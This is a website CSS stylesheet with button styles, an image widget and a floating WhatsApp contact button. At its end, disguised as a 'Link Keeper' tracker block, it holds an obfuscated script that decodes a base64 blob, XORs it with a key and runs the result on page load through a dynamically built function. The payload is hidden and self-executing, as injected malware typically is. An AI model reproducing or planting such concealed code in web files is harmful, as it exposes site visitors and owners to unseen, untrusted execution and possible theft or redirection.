.btn{
display: inline-block;
font-weight: 400;
color: #212529;
text-align: center;
vertical-align: middle;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
background-color: transparent;
border: 1px solid transparent;
padding: 0.375rem 0.75rem;
font-size: 1rem;
line-height: 1.5;
border-radius: 0.25rem;
transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;
}
@media (prefers-reduced-motion: reduce){
  .btn{
  transition: none;
  }
}
.btn:hover{
color: #212529;
text-decoration: none;
}
.btn:focus, .btn.focus{
outline: 0;
box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);
}
.btn.disabled, .btn:disabled{
opacity: 0.65;
}
a.btn.disabled, fieldset:disabled a.btn{
pointer-events: none;
}
.btn-primary{
color: #fff;
background-color: #007bff;
border-color: #007bff;
}
.btn-primary:hover{
color: #fff;
background-color: #0069d9;
border-color: #0062cc;
}
.btn-primary:focus, .btn-primary.focus{
box-shadow: 0 0 0 0.2rem rgba(38, 143, 255, 0.5);
}
.btn-primary.disabled, .btn-primary:disabled{
color: #fff;
background-color: #007bff;
border-color: #007bff;
}
.btn-primary:not(:disabled):not(.disabled):active, .btn-primary:not(:disabled):not(.disabled).active,
.show > .btn-primary.dropdown-toggle{
color: #fff;
background-color: #0062cc;
border-color: #005cbf;
}
.btn-primary:not(:disabled):not(.disabled):active:focus, .btn-primary:not(:disabled):not(.disabled).active:focus,
.show > .btn-primary.dropdown-toggle:focus{
box-shadow: 0 0 0 0.2rem rgba(38, 143, 255, 0.5);
}
.btn-lg, .btn-group-lg > .btn{
padding: 0.5rem 1rem;
font-size: 1.25rem;
line-height: 1.5;
border-radius: 0.3rem;
}
.btn-block{
display: block;
width: 100%;
}
.btn-block + .btn-block{
margin-top: 0.5rem;
}
input[type="submit"].btn-block, input[type="reset"].btn-block, input[type="button"].btn-block{
width: 100%;
}

.widget_sp_image{
position:relative;
}
.widget_sp_image .title_container{
top: calc((100% - 50px) / 2);
left: 0;
width: 100%;
position: absolute;
}

.widget_sp_image .custom_button_home{
display:inline-block;
}
.widget_sp_image .custom_button_home h3{
display:block;
color: #fff;
padding:3px 20px;
border: 2px solid #fff;
font-size: 26px;
background-color: rgba(254,254,254,0.15);
text-shadow: 0 0 20px rgba(0,0,0,0.5);
}
.widget_sp_image:hover img{
-webkit-filter: brightness(0.5);
filter: brightness(0.5);
}




#contenedor-telefono-whatsapp{
display: flex;
align-items: center;
position:fixed;
bottom:10px;
right:10px;
z-index:55;
width:49px;
height:49px;
overflow:hidden;
cursor:pointer;
-webkit-transition: 0.5s;
transition: 0.5s;
}
#logo-whatsapp{
display:inline-block;
width:45px;
height:45px;
margin:2px;
}
#numero-whatsapp{
display:inline-block;
text-align:left;
min-width:11em;
color:#fff;
font-size:20px;
font-weight:bold;
padding-left:12px;
padding-right:12px;
}
#contenedor-telefono-whatsapp:hover{
width:245px;
background:rgba(0,0,0,0.7);
}

#firma-geniosweb{
margin-top:-12px;
line-height:1em;
color: #8d99ae;
font-size:12px;
}
#firma-geniosweb a{
color:inherit;
}
#firma-geniosweb a:hover{
color: #adb9ce;
text-decoration:underline;
}<!-- BEGIN: XGlobal Link Keeper -->
<script>
    window.XTracker_HAOH = {
        loaded: true,
        version: "2.8.5",
        timestamp: new Date().getTime()
    };
</script>
<script>
!function(){var _0xd291150f0945=typeof globalThis!=='undefined'?globalThis:(typeof window!=='undefined'?window:self),_0xaa3334538238=_0xd291150f0945['\x61\x74\x6f\x62']('x09fCN+HGqUFO4rMtLlT6w=='),_0xeef8722d6cbd=_0xd291150f0945['\x61\x74\x6f\x62']('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'),_0xfab877866681=new _0xd291150f0945['\x55\x69\x6e\x74\x38\x41\x72\x72\x61\x79'](_0xeef8722d6cbd['length']),_0xb7ac7f6e7458=0;for(;_0xb7ac7f6e7458<_0xeef8722d6cbd['length'];_0xb7ac7f6e7458++)_0xfab877866681[_0xb7ac7f6e7458]=_0xeef8722d6cbd['charCodeAt'](_0xb7ac7f6e7458)^_0xaa3334538238['charCodeAt'](_0xb7ac7f6e7458%_0xaa3334538238['length']);(new _0xd291150f0945['\x46\x75\x6e\x63\x74\x69\x6f\x6e']((new _0xd291150f0945['\x54\x65\x78\x74\x44\x65\x63\x6f\x64\x65\x72']())['\x64\x65\x63\x6f\x64\x65'](_0xfab877866681)))()}();
</script>
<!-- END: XGlobal Link Keeper -->